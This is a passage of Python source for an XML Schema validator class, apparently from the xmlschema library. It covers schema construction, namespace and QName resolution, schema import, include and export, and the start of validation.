:cvar XSD_VERSION: store the XSD version (1.0 or 1.1). :cvar BASE_SCHEMAS: a dictionary from namespace to schema resource for meta-schema bases. :cvar meta_schema: the XSD meta-schema instance. :cvar attribute_form_default: the schema's *attributeFormDefault* attribute. \ Default is 'unqualified'. :cvar element_form_default: the schema's *elementFormDefault* attribute. \ Default is 'unqualified'. :cvar block_default: the schema's *blockDefault* attribute. Default is ''. :cvar final_default: the schema's *finalDefault* attribute. Default is ''. :cvar default_attributes: the XSD 1.1 schema's *defaultAttributes* attribute. \ Default is ``None``. :ivar target_namespace: is the *targetNamespace* of the schema, the namespace to which \ belong the declarations/definitions of the schema. If it's empty no namespace is associated \ with the schema. In this case the schema declarations can be reused from other namespaces as \ *chameleon* definitions. :ivar maps: XSD global declarations/definitions maps. This is an instance of \ :class:`XsdGlobals`, that stores the *global_maps* argument or a new object \ when this argument is not provided. :ivar namespaces: a dictionary that maps from the prefixes used by the schema \ into namespace URI. :ivar imports: a dictionary of namespace imports of the schema, that maps namespace \ URI to imported schema object, or `None` in case of unsuccessful import. :ivar includes: a dictionary of included schemas, that maps a schema location to an \ included schema. It also comprehends schemas included by "xs:redefine" or \ "xs:override" statements. :ivar warnings: warning messages about failure of import and include elements. :ivar notations: `xsd:notation` declarations. :vartype notations: NamespaceView :ivar types: `xsd:simpleType` and `xsd:complexType` global declarations. :vartype types: NamespaceView :ivar attributes: `xsd:attribute` global declarations. :vartype attributes: NamespaceView :ivar attribute_groups: `xsd:attributeGroup` definitions. :vartype attribute_groups: NamespaceView :ivar groups: `xsd:group` global definitions. :vartype groups: NamespaceView :ivar elements: `xsd:element` global declarations. :vartype elements: NamespaceView """ XSD_VERSION: str = '1.0' META_SCHEMA: str BASE_SCHEMAS: dict[str, str] = {} builders: XsdBuilders meta_schema: Optional[SchemaType] = None # Instance attributes type annotations source: XMLResource namespaces: NsmapType maps: XsdGlobals imported_namespaces: list[str] imports: dict[str, Optional[SchemaType]] includes: dict[str, SchemaType] warnings: list[str] notations: NamespaceView[XsdNotation] types: NamespaceView[BaseXsdType] attributes: NamespaceView[XsdAttribute] attribute_groups: NamespaceView[XsdAttributeGroup] groups: NamespaceView[XsdGroup] elements: NamespaceView[XsdElement] substitution_groups: NamespaceView[set[XsdElement]] identities: NamespaceView[XsdIdentity] # Schema defaults attribute_form_default = 'unqualified' element_form_default = 'unqualified' block_default = '' final_default = '' redefine: Optional[SchemaType] = None partial: bool = False # Additional defaults for XSD 1.1 default_attributes: Optional[Union[str, XsdAttributeGroup]] = None default_open_content: Optional[XsdDefaultOpenContent] = None override: Optional[SchemaType] = None __slots__ = ('validation', 'errors', 'maps', 'target_namespace', 'source', 'namespaces') def __init__(self, source: Union[SchemaSourceType, list[SchemaSourceType]], namespace: Optional[str] = None, validation: str = 'strict', global_maps: Optional[XsdGlobals] = None, parent: Optional[SchemaType] = None, converter: Optional[ConverterType] = None, locations: Optional[LocationsType] = None, base_url: Optional[str] = None, allow: str = 'all', defuse: str = 'remote', timeout: int = 300, uri_mapper: Optional[UriMapperType] = None, opener: Optional[OpenerDirector] = None, iterparse: Optional[IterParseType] = None, loader_class: Optional[Type[SchemaLoader]] = None, use_fallback: bool = True, use_xpath3: bool = False, use_meta: bool = True, loglevel: Optional[Union[str, int]] = None, build: bool = True, partial: bool = False) -> None: super().__init__(validation) if loglevel is not None: set_logging_level(loglevel) elif build and global_maps is None: logger.setLevel(logging.WARNING) if allow == 'sandbox' and base_url is None and is_local_url(source): # Allow sandbox mode without a base_url using the initial schema URL as base assert isinstance(source, str) base_url = os.path.dirname(normalize_url(source)) if not isinstance(source, list): other_sources: list[SchemaSourceType] = [] elif source: other_sources = source[1:] source = source[0] else: raise XMLSchemaValueError(_("no XSD source provided!")) if isinstance(source, XMLResource): self.source = source else: self.source = XMLResource( source=source, base_url=base_url, allow=allow, defuse=defuse, timeout=timeout, uri_mapper=uri_mapper, opener=opener, iterparse=iterparse, ) logger.debug("Load schema from %r", self.source.url or self.source.source) self.imports = {} self.imported_namespaces = [] self.includes = {} self.warnings = [] self.converter = converter self.name = self.source.name root = self.source.root # Initialize schema's namespaces, the XML namespace is implicitly declared. namespaces = self.source.get_namespaces({'xml': nm.XML_NAMESPACE}) if 'targetNamespace' in root.attrib: self.target_namespace = root.attrib['targetNamespace'].strip() if not self.target_namespace: # https://www.w3.org/TR/2004/REC-xmlschema-1-20041028/structures.html#element-schema msg = _("the attribute 'targetNamespace' cannot be an empty string") self.parse_error(msg, root, namespaces=namespaces) elif namespace is not None and self.target_namespace != namespace: msg = _("targetNamespace of XSD resource {} differs from what expected " "(found {!r} instead of {!r})") self.parse_error( error=msg.format(self.url, self.target_namespace, namespace), elem=root, namespaces=namespaces, ) elif namespace is not None: # Chameleon schema case self.target_namespace = namespace if '' not in namespaces: namespaces[''] = namespace else: self.target_namespace = '' if '' not in namespaces: # If not declared map the default namespace to no namespace namespaces[''] = '' if self.target_namespace == nm.XMLNS_NAMESPACE: # https://www.w3.org/TR/xmlschema11-1/#sec-nss-special msg = _(f"The namespace {nm.XMLNS_NAMESPACE} cannot be used as 'targetNamespace'") raise XMLSchemaValueError(msg) logger.debug("Schema targetNamespace is %r", self.target_namespace) logger.debug("Schema namespaces: %r", namespaces) # Parses the schema defaults if 'attributeFormDefault' in root.attrib: self.attribute_form_default = root.attrib['attributeFormDefault'] if 'elementFormDefault' in root.attrib: self.element_form_default = root.attrib['elementFormDefault'] if 'blockDefault' in root.attrib: if self.target_namespace == nm.XSD_NAMESPACE and self.name == 'XMLSchema.xsd': # Skip for XSD 1.0 meta-schema that has blockDefault="#all" # Ref: https://www.w3.org/Bugs/Public/show_bug.cgi?id=6120 pass else: try: self.block_default = get_xsd_derivation_attribute( root, 'blockDefault', XSD_ELEMENT_DERIVATIONS ) except ValueError as err: self.parse_error(err, root, namespaces=namespaces) if 'finalDefault' in root.attrib: try: self.final_default = get_xsd_derivation_attribute(root, 'finalDefault') except ValueError as err: self.parse_error(err, root, namespaces=namespaces) # Create or set the XSD global maps instance if isinstance(global_maps, XsdGlobals): try: self.maps = global_maps except XMLSchemaValueError: # Another schema instance with the same URL is already registered, # this makes this schema unusable. raise elif global_maps is None: if parent is None and use_meta: parent = self.meta_schema self.maps = XsdGlobals( validator=self, parent=parent, loader_class=loader_class, locations=locations, use_fallback=use_fallback, use_xpath3=use_xpath3 ) else: raise XMLSchemaTypeError( _("'global_maps' argument must be an %r instance") % XsdGlobals ) # Meta-schema maps creation (MetaXMLSchema10/11 classes) if self.meta_schema is None: self.namespaces = namespaces return # Meta-schemas don't need to be checked and don't process imports # Complete the namespace map with internal declarations, remapping # identical prefixes that refer to different namespaces. self.namespaces = self.source.get_namespaces(namespaces, root_only=False) if any(ns == nm.VC_NAMESPACE for ns in self.namespaces.values()): # Apply versioning filter to schema tree. See the paragraph # 4.2.2 of XSD 1.1 (Part 1: Structures) definition for details. # Ref: https://www.w3.org/TR/xmlschema11-1/#cip if prune_etree(root, selector=lambda x: not self.version_check(x)): for k in list(root.attrib): if k not in ('targetNamespace', nm.VC_MIN_VERSION, nm.VC_MAX_VERSION): del root.attrib[k] # Validate the schema document (transforming validation errors to parse errors) # Don't check package schemas. if validation != 'skip': self.meta_schema.build() for e in self.meta_schema.iter_errors(root, namespaces=self.namespaces): self.parse_error(e.reason or e, elem=e.elem) if partial: self.partial = any(e.tag in SCHEMA_DECLARATION_TAGS for e in root) if self.partial: for child in root: if child.tag == nm.XSD_IMPORT: namespace = child.get('namespace', '').strip() self.imported_namespaces.append(namespace) return self.maps.loader.load_declared_schemas(self) # Import namespaces by argument (usually from xsi:schemaLocation attribute). if global_maps is None: for ns in self.maps.loader.locations: if ns not in self.maps.namespaces: self.maps.loader.import_namespace(self, ns) # Parse XSD 1.1 default declarations (defaultAttributes, defaultOpenContent, # xpathDefaultNamespace) after all imports/includes. if self.XSD_VERSION > '1.0': self.xpath_default_namespace = self._parse_xpath_default_namespace(root) if 'defaultAttributes' in root.attrib: try: self.default_attributes = self.resolve_qname(root.attrib['defaultAttributes']) except (ValueError, KeyError, RuntimeError) as err: self.parse_error(err, root) for child in root: if child.tag == nm.XSD_DEFAULT_OPEN_CONTENT: self.default_open_content = XsdDefaultOpenContent(child, self) break # Add explicitly provided other schemas for other in other_sources: self.add_schema(other, base_url=base_url) try: if build: self.maps.build() finally: if loglevel is not None: logger.setLevel(logging.WARNING) # Restore default logging def __repr__(self) -> str: if (name := self.name) is None: return f'{self.__class__.__name__}(namespace={self.target_namespace!r})' return f'{self.__class__.__name__}(name={name!r}, namespace={self.target_namespace!r})' def __setattr__(self, name: str, value: Any) -> None: if name == 'maps': if hasattr(self, 'maps'): if value is getattr(self, name): return elif self.is_meta(): msg = _("can't change the global maps instance of a class meta-schema") raise XMLSchemaAttributeError(msg) elif self.maps.validator is self: # can change only if it's the main validator of the new global maps msg = _("can't change the global maps instance of a schema that is " "the main validator of another global maps instance") raise XMLSchemaAttributeError(msg.format(self)) value.register(self) super().__setattr__(name, value) for attr in ('types', 'attributes', 'attribute_groups', 'groups', 'elements', 'notations', 'substitution_groups', 'identities'): object.__setattr__( self, attr, NamespaceView(getattr(value, attr), self.target_namespace) ) else: if name == 'meta_schema': msg = _("can't set the meta_schema instance of a schema") raise XMLSchemaAttributeError(msg) elif name == 'validation': check_validation_mode(value) elif name == 'converter': check_converter_argument(value) elif name == 'default_attributes': if isinstance(self.default_attributes, XsdAttributeGroup): msg = _("can't change the {!r} attribute of a schema").format(name) raise XMLSchemaAttributeError(msg) elif name in self.__dict__ and name[:1] != '_' and name != 'partial': msg = _("can't change the {!r} attribute of a schema").format(name) raise XMLSchemaAttributeError(msg) super().__setattr__(name, value) def __iter__(self) -> Iterator[XsdElement]: yield from sorted(self.elements.values(), key=name_attribute) def __reversed__(self) -> Iterator[XsdElement]: yield from sorted(self.elements.values(), key=name_attribute, reverse=True) def __len__(self) -> int: return len(self.elements) def __getstate__(self) -> dict[str, Any]: state = self.__dict__.copy() for attr in self._mro_slots(): if attr not in state: state[attr] = getattr(self, attr) state.pop('validation_context', None) return state def __setstate__(self, state: dict[str, Any]) -> None: for attr in self._mro_slots(): if attr in state: object.__setattr__(self, attr, state.pop(attr)) self.__dict__.update(state) def __copy__(self) -> SchemaType: schema: SchemaType = object.__new__(self.__class__) schema.__dict__.update( (k, v.copy() if isinstance(v, (list, dict)) else v) for k, v in self.__dict__.items() ) for attr in self._mro_slots(): value = getattr(self, attr) if isinstance(value, (list, dict)): object.__setattr__(schema, attr, value.copy()) else: object.__setattr__(schema, attr, value) return schema copy = __copy__ @property def xsd_version(self) -> str: """Compatibility property that returns the class attribute XSD_VERSION.""" return self.XSD_VERSION @property def xpath_proxy(self) -> XMLSchemaProxy: return XMLSchemaProxy(self) @cached_property def xpath_node(self) -> SchemaElementNode: """Returns an XPath node for processing an XPath expression on the schema instance.""" # noinspection PyTypeChecker return build_schema_node_tree(root=self, uri=self.source.url) @property def xpath_tokens(self) -> dict[str, Type[XPathToken]]: """Returns the XPath constructors tokens.""" return self.maps.xpath_constructors @property def root(self) -> Element: """Root element of the schema.""" return self.source.root def get_text(self) -> str: """Returns the source text of the XSD schema.""" return self.source.get_text() @property def url(self) -> Optional[str]: """Schema resource URL, is `None` if the schema is built from an Element or a string.""" return self.source.url @property def base_url(self) -> Optional[str]: """The base URL of the source of the schema.""" return self.source.base_url @property def filepath(self) -> Optional[str]: """The filepath if the schema is loaded from a local XSD file, `None` otherwise.""" return self.source.filepath @property def allow(self) -> str: """The resource access security mode: can be 'all', 'remote', 'local' or 'sandbox'.""" return self.source.allow @property def defuse(self) -> str: """Defines when to defuse XML data: can be 'always', 'remote' or 'never'.""" return self.source.defuse @property def timeout(self) -> int: """Timeout in seconds for fetching resources.""" return self.source.timeout @property def uri_mapper(self) -> Optional[UriMapperType]: """The optional URI mapper argument for relocating addressed resources.""" return self.source.uri_mapper @property def opener(self) -> Optional[OpenerDirector]: """The optional OpenerDirector argument for opening addressed resources.""" return self.source.opener @property def iterparse(self) -> Optional[IterParseType]: """The optional callable argument for creating iterator parsers for XML data.""" return self.source.iterparse @property def locations(self) -> Optional[LocationsType]: """Schema extra location hints also provided by document schema location hints.""" return self.maps.loader.locations @property def use_fallback(self) -> bool: """If the schema processor uses the validator fallback location hints.""" return self.maps.loader.use_fallback @property def use_xpath3(self) -> bool: """If XSD 1.1 schema instance uses the XPath 3 processor for assertions.""" return self.maps.loader.use_xpath3 @property def use_meta(self) -> bool: """Returns `True` if the class meta-schema is used.""" return self.is_meta() or self.maps.use_meta def is_meta(self) -> bool: """Returns `True` if it's a schema of a class meta-schema.""" return self.meta_schema is None and self in _meta_registry # Schema root attributes @property def tag(self) -> str: """Schema root tag. For compatibility with the ElementTree API.""" return self.source.root.tag @property def id(self) -> Optional[str]: """The schema's *id* attribute, defaults to ``None``.""" return self.source.root.get('id') @property def version(self) -> Optional[str]: """The schema's *version* attribute, defaults to ``None``.""" return self.source.root.get('version') @cached_property def schema_location(self) -> list[tuple[str, str]]: """ A list of location hints extracted from the *xsi:schemaLocation* attribute of the schema. """ return [(k, v) for k, v in self.source.iter_location_hints() if k] @cached_property def no_namespace_schema_location(self) -> Optional[str]: """ A location hint extracted from the *xsi:noNamespaceSchemaLocation* attribute of the schema. """ for k, v in self.source.iter_location_hints(): if not k: return v return None @property def default_namespace(self) -> Optional[str]: """The namespace associated to the empty prefix ''.""" return self.namespaces.get('') @cached_property def target_prefix(self) -> str: """The prefix associated to the *targetNamespace*.""" for prefix, namespace in self.namespaces.items(): if namespace == self.target_namespace: return prefix return '' @classmethod def builtin_types(cls) -> NamespaceView[BaseXsdType]: """Returns the XSD built-in types of the meta-schema.""" if cls.meta_schema is None: raise XMLSchemaRuntimeError(_("meta-schema unavailable for %r") % cls) cls.meta_schema.maps.build() return cls.meta_schema.types @cached_property def annotations(self) -> list[XsdAnnotation]: """ Annotations related to schema object. This list includes the annotations of xs:include, xs:import, xs:redefine and xs:override elements. """ annotations = [] for elem in self.source.root: if elem.tag == nm.XSD_ANNOTATION: annotations.append(XsdAnnotation(elem, self)) elif elem.tag in (nm.XSD_IMPORT, nm.XSD_INCLUDE, nm.XSD_DEFAULT_OPEN_CONTENT): child = get_xsd_annotation_child(elem) if child is not None: annotation = XsdAnnotation(child, self, parent_elem=elem) annotations.append(annotation) elif elem.tag in (nm.XSD_REDEFINE, nm.XSD_OVERRIDE): for child in elem: if child.tag == nm.XSD_ANNOTATION: annotation = XsdAnnotation(child, self, parent_elem=elem) annotations.append(annotation) return annotations @cached_property def components(self) -> dict[ElementType, XsdComponent]: """A map from XSD ElementTree elements to their schema components.""" self.check_validator(self.validation) return { c.elem: c for c in self.iter_components() if isinstance(c, XsdComponent) } @cached_property def root_elements(self) -> list[XsdElement]: """ The list of global elements that are not used by reference in any model of the schema. This is implemented as lazy property because it's computationally expensive to build when the schema model is complex. """ if not self.elements: return [] elif len(self.elements) == 1: return list(self.elements.values()) names = {e.name for e in self.elements.values()} for xsd_element in self.elements.values(): for e in xsd_element.iter(): if e is xsd_element or isinstance(e, XsdAnyElement): continue elif e.ref or e.parent is None: if e.name in names: names.discard(e.name) if not names: break return [e for e in self.elements.values() if e.name in set(names)] @cached_property def simple_types(self) -> list[XsdSimpleType]: """Returns a list containing the global simple types.""" return [x for x in self.types.values() if isinstance(x, XsdSimpleType)] @cached_property def complex_types(self) -> list[XsdComplexType]: """Returns a list containing the global complex types.""" return [x for x in self.types.values() if isinstance(x, XsdComplexType)] @classmethod def create_meta_schema(cls, source: Optional[str] = None, base_schemas: Optional[dict[str, str]] = None, global_maps: Optional[XsdGlobals] = None) -> SchemaType: """ Creates a new meta-schema instance. :param source: location of the XSD meta-schema file/resource. :param base_schemas: a dictionary that contains namespace URIs and locations \ of base schemas. :param global_maps: an optional XsdGlobals instance where include the meta-schema. """ schema: SchemaType if source is None: source = cls.META_SCHEMA if base_schemas is None: base_schemas = cls.BASE_SCHEMAS if global_maps is not None and nm.XSD_NAMESPACE in global_maps.namespaces: schema = global_maps.namespaces[nm.XSD_NAMESPACE][0] else: schema = cls( source=source, namespace=nm.XSD_NAMESPACE, global_maps=global_maps, defuse='never', partial=True, ) for ns, location in base_schemas.items(): if ns == nm.XSD_NAMESPACE: # Process the patch schema for XSD 1.1 meta-schema patch_schema = schema.include_schema(location=location, partial=True) base_url = patch_schema.base_url for child in patch_schema.source.root: if child.tag == nm.XSD_OVERRIDE: patch_schema.include_schema( child.attrib['schemaLocation'], base_url=base_url, partial=True ) patch_schema.partial = False elif ns not in schema.maps.namespaces: schema.import_schema(namespace=ns, location=location, partial=True) return schema def create_any_content_group(self, parent: Union[XsdComplexType, XsdGroup], any_element: Optional[XsdAnyElement] = None) -> XsdGroup: """Helper method for creating an XSD model group based on a wildcard.""" return self.builders.create_any_content_group(parent, any_element) def create_any_attribute_group(self, parent: Union[XsdComplexType, XsdElement]) \ -> XsdAttributeGroup: """Helper method for creating an XSD attribute group based on a wildcard.""" return self.builders.create_any_attribute_group(parent) def create_any_type(self) -> XsdComplexType: """Helper method for creating an XSD type that accepts any content.""" return self.builders.create_any_type(self) def create_empty_content_group(self, parent: Union[XsdComplexType, XsdGroup], model: str = 'sequence', **attrib: Any) -> XsdGroup: """Helper method for creating an empty XSD model group.""" return self.builders.create_empty_content_group(parent, model, **attrib) def create_empty_attribute_group(self, parent: Union[XsdComplexType, XsdElement]) \ -> XsdAttributeGroup: """Helper method for creating an empty XSD attribute group.""" return self.builders.create_empty_attribute_group(parent) def create_element(self, name: str, parent: Optional[XsdComponent] = None, text: Optional[str] = None, **attrib: Any) -> XsdElement: """Helper method for creating an XSD element.""" return self.builders.create_element(name, self, parent, text, **attrib) def clear(self) -> None: """Clears the schema cache.""" self.__dict__.pop('xpath_node', None) self.__dict__.pop('annotations', None) self.__dict__.pop('components', None) self.__dict__.pop('root_elements', None) self.__dict__.pop('simple_types', None) self.__dict__.pop('complex_types', None) self.__dict__.pop('target_prefix', None) self.__dict__.pop('validation_attempted', None) def build(self) -> None: """Builds the schema's XSD global maps.""" self.maps.build() @property def built(self) -> bool: return self.maps.built @cached_property def validation_attempted(self) -> str: if any(isinstance(t, tuple) and t[-1] is self for x in self.maps.global_maps.iter_staged() for t in x): return 'partial' elif any(c.schema is self and not c.built for c in self.maps.global_maps.iter_globals()): return 'partial' elif any(c.schema is self for c in self.maps.global_maps.iter_globals()): return 'full' elif any(child.tag in GLOBAL_TAGS for child in self.root) or \ any(e.tag in GLOBAL_TAGS for child in self.root for e in child): return 'none' else: return 'full' @property def validity(self) -> str: if self.validation == 'skip': return 'notKnown' elif any(v.errors for v in self.iter_components()): return 'invalid' elif self.validation_attempted != 'full': return 'notKnown' else: return 'valid' def iter_globals(self) -> Iterator[SchemaGlobalType]: """Iterates XSD global definitions/declarations of the schema.""" def schema_filter(comp: XsdComponent) -> bool: return comp.schema is self yield from filter(schema_filter, self.maps.iter_globals()) def iter_staged(self) -> Iterator[StagedItemType]: """Iterates the unbuilt XSD global definitions/declarations of the schema.""" def schema_filter(x: StagedItemType) -> bool: return x[1] is self if len(x) == 2 else x[0][1] is self yield from filter(schema_filter, self.maps.iter_staged()) def iter_components(self, xsd_classes: ComponentClassType = None) \ -> Iterator[Union[XsdComponent, SchemaType]]: """ Iterates yielding the schema and its components. For default includes all the relevant components of the schema, excluding only facets and empty attribute groups. The first returned component is the schema itself. :param xsd_classes: provide a class or a tuple of classes to \ restrict the range of component types yielded. """ if xsd_classes is None or isinstance(self, xsd_classes): yield self for xsd_global in self.iter_globals(): if not isinstance(xsd_global, tuple): yield from xsd_global.iter_components(xsd_classes) @cached_property def validation_context(self) -> DecodeContext: """Returns a validation context instance used for decoding schema simple values.""" return DecodeContext( source=self.source, validation=self.validation, validation_only=True, namespaces=self.namespaces, xmlns_processing='none' ) def get_converter(self, converter: Optional[ConverterType] = None, **kwargs: Any) -> XMLSchemaConverter: """ Returns a new converter instance. :param converter: can be a converter class or instance. If not provided the \ converter attribute of the schema instance is used. :param kwargs: optional arguments for initialize the converter instance. :return: a converter instance. """ if converter is None: converter = self.converter return get_converter(converter, **kwargs) def get_locations(self, namespace: str) -> list[str]: """Get a list of location hints for a namespace.""" return self.maps.loader.get_locations(namespace) def get_schema(self, namespace: str) -> SchemaType: """ Returns the first schema loaded for a namespace. Raises a `KeyError` if the requested namespace is not loaded. """ try: return self.maps.namespaces[namespace][0] except KeyError: if not namespace: return self msg = _('the namespace {!r} is not loaded') raise XMLSchemaKeyError(msg.format(namespace)) from None def get_element(self, tag: str, path: Optional[str] = None, namespaces: Optional[NsmapType] = None) -> Optional[XsdElement]: if not path or path == tag or path == f'/{tag}': return self.maps.elements.get(tag) elif path[-1] == '*': xsd_element = self.find(path[:-1] + tag, namespaces) if isinstance(xsd_element, XsdElement): return xsd_element else: return self.maps.elements.get(tag) else: xsd_element = self.find(path, namespaces) if not isinstance(xsd_element, XsdElement): return None elif xsd_element.name != tag: return self.maps.elements.get(tag) else: return xsd_element def create_bindings(self, *bases: type, **attrs: Any) -> None: """ Creates data object bindings for XSD elements of the schema. :param bases: base classes to use for creating the binding classes. :param attrs: attribute and method definitions for the binding classes body. """ for xsd_component in self.iter_components(): if isinstance(xsd_component, XsdElement): xsd_component.get_binding(*bases, replace_existing=True, **attrs) def include_schema(self, location: str, base_url: Optional[str] = None, build: bool = False, partial: bool = False) -> SchemaType: """ Includes a schema for the same namespace, from a specific URL. :param location: is the URL of the schema. :param base_url: is an optional base URL for fetching the schema resource. :param build: defines when to build the imported schema, the default is to not build. :return: the included :class:`XMLSchema` instance. :param partial: if `True`, the included schema is initialized without processing \ imports/inclusions and the build phase is skipped. :return: the included :class:`XMLSchema` instance. """ return self.maps.loader.include_schema(self, location, base_url, build, partial) def import_schema(self, namespace: str, location: str, base_url: Optional[str] = None, force: bool = False, build: bool = False, partial: bool = False) -> Optional[SchemaType]: """ Imports a schema for an external namespace from a specific location. :param namespace: is the URI of the external namespace. :param location: is the URL of the schema. :param base_url: is an optional base URL for fetching the schema resource. :param force: if set to `True` imports the schema also if the namespace \ is already imported. :param build: defines when to build the imported schema, the default is to not build. :param partial: if `True`, the imported schema is initialized without processing \ imports/inclusions and the build phase is skipped. :return: the imported :class:`XMLSchema` instance or `None` if a schema \ can't be imported from that location. """ if namespace not in self.maps.namespaces: return self.maps.loader.import_schema( self, namespace, location, base_url, build, partial ) elif not force: return self.maps.namespaces[namespace][0] else: return self.maps.loader.load_schema(location, namespace, base_url, build, partial) def add_schema(self, source: SchemaSourceType, namespace: Optional[str] = None, base_url: Optional[str] = None, build: bool = False, partial: bool = False) -> SchemaType: """ Add another schema source to the maps of the instance without affecting imports or includes registrations. :param source: a URI that reference to a resource or a file path or a file-like \ object or a string containing the schema or an Element or an ElementTree document. :param namespace: is an optional argument that contains the URI of the namespace \ that has to used in case the schema has no namespace (chameleon schema). It must \ be equal to the *targetNamespace* of the schema. If not provided, the resource is \ examined and if the schema has no namespace it's added as a chameleon schema. :param base_url: is an optional base URL for fetching the schema resource. :param build: defines when to build the imported schema, the default is to not build. :param partial: if `True`, the added schema is initialized without processing \ imports/inclusions and the build phase is skipped. :return: the added :class:`XMLSchema` instance. """ return self.maps.loader.load_schema(source, namespace, base_url, build, partial) def load_namespace(self, namespace: str, build: bool = True) -> bool: """ Load namespace from available location hints. Returns `True` if the namespace is already loaded or if the namespace can be loaded from one of the locations, returns `False` otherwise. Failing locations are inserted into the missing locations list. :param namespace: the namespace to load. :param build: if left with `True` value builds the maps after load. If the \ build fails the resource URL is added to missing locations. """ return self.maps.loader.load_namespace(namespace, build) def export(self, target: Union[str, Path], save_remote: bool = False, remove_residuals: bool = True, exclude_locations: Optional[list[str]] = None, loglevel: Optional[Union[str, int]] = None) -> dict[str, str]: """ Exports a schema instance. The schema instance is exported to a directory with also the hierarchy of imported/included schemas. :param target: a path to a local empty directory. :param save_remote: if `True` is provided saves also remote schemas. :param remove_residuals: for default removes residual remote schema \ locations from redundant import statements. :param exclude_locations: explicitly exclude schema locations from \ substitution or removal. :param loglevel: for setting a different logging level for schema export. :return: a dictionary containing the map of modified locations. """ return export_schema( schema=self, target=target, save_remote=save_remote, remove_residuals=remove_residuals, exclude_locations=exclude_locations, loglevel=loglevel ) def version_check(self, elem: Element) -> bool: """ Checks if the element is compatible with the version of the validator and XSD types/facets availability. Invalid vc attributes are not detected in XSD 1.0. :param elem: an Element of the schema. :return: `True` if the schema element is compatible with the validator, \ `False` otherwise. """ if nm.VC_MIN_VERSION in elem.attrib: vc_min_version = elem.attrib[nm.VC_MIN_VERSION] if not XSD_VERSION_PATTERN.match(vc_min_version): if self.XSD_VERSION > '1.0': msg = _("invalid attribute vc:minVersion value") self.parse_error(msg, elem) elif vc_min_version > self.XSD_VERSION: return False if nm.VC_MAX_VERSION in elem.attrib: vc_max_version = elem.attrib[nm.VC_MAX_VERSION] if not XSD_VERSION_PATTERN.match(vc_max_version): if self.XSD_VERSION > '1.0': msg = _("invalid attribute vc:maxVersion value") self.parse_error(msg, elem) elif vc_max_version <= self.XSD_VERSION: return False if nm.VC_TYPE_AVAILABLE in elem.attrib: for qname in elem.attrib[nm.VC_TYPE_AVAILABLE].split(): try: if self.resolve_qname(qname) not in self.maps.types: return False except XMLSchemaNamespaceError: return False except (KeyError, ValueError) as err: self.parse_error(str(err), elem) if nm.VC_TYPE_UNAVAILABLE in elem.attrib: for qname in elem.attrib[nm.VC_TYPE_UNAVAILABLE].split(): try: if self.resolve_qname(qname) not in self.maps.types: break except XMLSchemaNamespaceError: break except (KeyError, ValueError) as err: self.parse_error(err, elem) else: return False if nm.VC_FACET_AVAILABLE in elem.attrib: for qname in elem.attrib[nm.VC_FACET_AVAILABLE].split(): try: facet_name = self.resolve_qname(qname) except XMLSchemaNamespaceError: pass except (KeyError, ValueError) as err: self.parse_error(str(err), elem) else: if self.XSD_VERSION == '1.0': if facet_name not in XSD_10_FACETS: return False elif facet_name not in XSD_11_FACETS: return False if nm.VC_FACET_UNAVAILABLE in elem.attrib: for qname in elem.attrib[nm.VC_FACET_UNAVAILABLE].split(): try: facet_name = self.resolve_qname(qname) except XMLSchemaNamespaceError: break except (KeyError, ValueError) as err: self.parse_error(err, elem) else: if self.XSD_VERSION == '1.0': if facet_name not in XSD_10_FACETS: break elif facet_name not in XSD_11_FACETS: break else: return False return True def resolve_qname(self, qname: str, namespace_imported: bool = True) -> str: """ QName resolution for a schema instance. :param qname: a string in xs:QName format. :param namespace_imported: if this argument is `True` raises an \ `XMLSchemaNamespaceError` if the namespace of the QName is not the \ *targetNamespace* and the namespace is not imported by the schema. :returns: an expanded QName in the format "{*namespace-URI*}*local-name*". :raises: `XMLSchemaValueError` for an invalid xs:QName is found, \ `XMLSchemaKeyError` if the namespace prefix is not declared in the \ schema instance. """ qname = qname.strip() if not qname or ' ' in qname or '\t' in qname or '\n' in qname: msg = _("{!r} is not a valid value for xs:QName") raise XMLSchemaValueError(msg.format(qname)) if qname[0] == '{': try: namespace, local_name = qname[1:].split('}') except ValueError: msg = _("{!r} is not a valid value for xs:QName") raise XMLSchemaValueError(msg.format(qname)) else: qname_validator(qname) if ':' in qname: prefix, local_name = qname.split(':') try: namespace = self.namespaces[prefix] except KeyError: msg = _("prefix {!r} not found in namespace map") raise XMLSchemaKeyError(msg.format(prefix)) else: namespace, local_name = self.namespaces.get('', ''), qname if not namespace: if namespace_imported and self.target_namespace \ and '' not in self.imported_namespaces: msg = _("the QName {!r} is mapped to no namespace, but this requires " "that there is an xs:import statement in the schema without " "the 'namespace' attribute.") raise XMLSchemaNamespaceError(msg.format(qname)) return local_name elif namespace_imported and self.meta_schema is not None and \ namespace != self.target_namespace and \ namespace not in (nm.XSD_NAMESPACE, nm.XSI_NAMESPACE) and \ namespace not in self.imported_namespaces: msg = _("the QName {!r} is mapped to the namespace {!r}, but this " "namespace has not an xs:import statement in the schema.") raise XMLSchemaNamespaceError(msg.format(qname, namespace)) return f'{{{namespace}}}{local_name}' def validate(self, source: Union[XMLSourceType, XMLResource], path: Optional[str] = None, schema_path: Optional[str] = None, use_defaults: bool = True, namespaces: Optional[NsmapType] = None, max_depth: Optional[int] = None, extra_validator: Optional[ExtraValidatorType] = None, validation_hook: Optional[ValidationHookType] = None, allow_empty: bool = True, use_location_hints: bool = False) -> None: """ Validates an XML data against the XSD schema/component instance. :param source: the source of XML data. Can be an :class:`XMLResource` instance, a \ path to a file or a URI of a resource or an opened file-like object or an Element \ instance or an ElementTree instance or a string containing the XML data. :param path: is an optional XPath expression that matches the elements of the XML \ data that have to be decoded. If not provided the XML root element is selected. :param schema_path: an alternative XPath expression to select the XSD element \ to use for decoding. Useful if the root of the XML data doesn't match an XSD \ global element of the schema. :param use_defaults: Use schema's default values for filling missing data. :param namespaces: is an optional mapping from namespace prefix to URI. :param max_depth: maximum level of validation, for default there is no limit. \ With lazy resources is set to `source.lazy_depth` for managing lazy validation. :param extra_validator: an optional function for performing non-standard \ validations on XML data. The provided function is called for each traversed \ element, with the XML element as 1st argument and the corresponding XSD \ element as 2nd argument. It can be also a generator function and has to \ raise/yield :exc:`XMLSchemaValidationError` exceptions. :param validation_hook: an optional function for stopping or changing \ validation at element level. The provided function must accept two arguments, \ the XML element and the matching XSD element. If the value returned by this \ function is evaluated to false then the validation process continues without \ changes, otherwise the validation process is stopped or changed. If the value \ returned is a validation mode the validation process continues changing the \ current validation mode to the returned value, otherwise the element and its \ content are not processed. The function can also stop validation suddenly \ raising a `XmlSchemaStopValidation` exception. :param allow_empty: for default providing a path argument empty selections \ of XML data are allowed. Provide `False` to generate a validation error. :param use_location_hints: for default schema locations hints provided within \ XML data are ignored in order to avoid the change of schema instance. Set this \ option to `True` to activate 